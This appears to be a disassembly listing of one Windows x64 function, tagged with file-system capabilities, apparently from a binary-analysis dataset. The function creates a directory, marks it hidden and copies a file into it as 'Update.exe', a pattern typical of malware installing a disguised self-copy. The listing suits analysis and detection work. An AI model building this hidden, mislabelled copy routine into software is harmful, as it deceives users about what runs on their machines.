Function at 0x140004c00
Capabilities:
Check if file exists
Copy file
Create directory
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov rax, qword [0x14000e040]
xor rax, rsp
mov qword [rbp + 0xc0], rax
lea rcx, [rsp + 0x48]
call fcn.1400050d0
mov r15, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
lea rax, [rsp + 0x70]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140004c62
movabs r12, 0x7fffffffffffffff
cmp rbx, r12
ja 0x1400050c6
mov eax, 0x16
mov edi, 0xf
movabs r13, 0x8000000000000000
cmp rbx, rdi
ja 0x140004cbd
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rdi
mov r8, rbx
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x20], 0
jmp 0x140004d4a
mov rsi, rbx
or rsi, rdi
cmp rsi, r12
jbe 0x140004cea
mov rsi, r12
lea rax, [r13 + 0x27]
mov rcx, rax
call fcn.140009930
test rax, rax
je 0x140004d17
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140004d26
cmp rsi, rax
cmovb rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
jne 0x140004cff
xor r14d, r14d
jmp 0x140004d26
cmp rcx, 0x1000
jb 0x140004d1e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400050ba
jmp 0x140004ccf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009930
mov r14, rax
mov qword [rsp + 0x20], r14
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rsi
mov r8, rbx
lea rdx, [rsp + 0x70]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
mov r9, r15
lea r8, [rsp + 0x20]
lea rcx, [rbp + 0x80]
call fcn.140008cd0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140004da0
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004d9a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009bb4
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140004de0
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ddb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004ddb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009bb4
movdqa xmm0, xmmword [0x14000b5a0]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rcx, qword [rbp + 0x80]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x140004e55
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rcx, qword [rbp + 0x80]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rcx, qword [rbp + 0x80]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rsi, qword [rbp + 0x90]
mov rax, r12
sub rax, rsi
cmp rax, 0xb
jb 0x1400050b4
lea r15, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova r15, qword [rbp + 0x80]
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
lea r14, [rsi + 0xb]
lea rbx, [rbp + 0xa0]
cmp r14, 0xf
jbe 0x140004f1c
mov rdi, r14
or rdi, 0xf
cmp rdi, r12
jbe 0x140004edb
mov rdi, r12
lea rax, [r13 + 0x27]
mov rcx, rax
call fcn.140009930
test rax, rax
je 0x14000501a
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140004f15
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140004ef5
xor ebx, ebx
jmp 0x140004f15
cmp rcx, 0x1000
jb 0x140004f0d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400050c0
jmp 0x140004ebc
call fcn.140009930
mov rbx, rax
mov qword [rbp + 0xa0], rbx
mov qword [rbp + 0xb0], r14
mov qword [rbp + 0xb8], rdi
mov r8, rsi
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.Update.exe]
movsd qword [rbx + rsi], xmm0
movzx eax, word [0x14000b4a8]
mov word [rbx + rsi + 8], ax
movzx eax, byte [0x14000b4aa]
mov byte [rbx + rsi + 0xa], al
mov byte [rbx + r14], 0
lea rbx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rbx, qword [rbp + 0xa0]
lea rcx, [rsp + 0x48]
call fcn.1400038e0
cmp qword [rax + 0x18], 0xf
jbe 0x140004f8c
mov rax, qword [rax]
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, eax
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140004fdd
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004fd8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004fd8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009bb4
test ebx, ebx
setne bl
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x140005026
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005021
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005021
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009bb4
movdqa xmm0, xmmword [0x14000b5a0]
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x140005081
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000507c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000507c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009bb4
movzx eax, bl
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.140009910
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001200
nop
call fcn.140001160
nop
call fcn.140001160
nop
call fcn.140001200
int3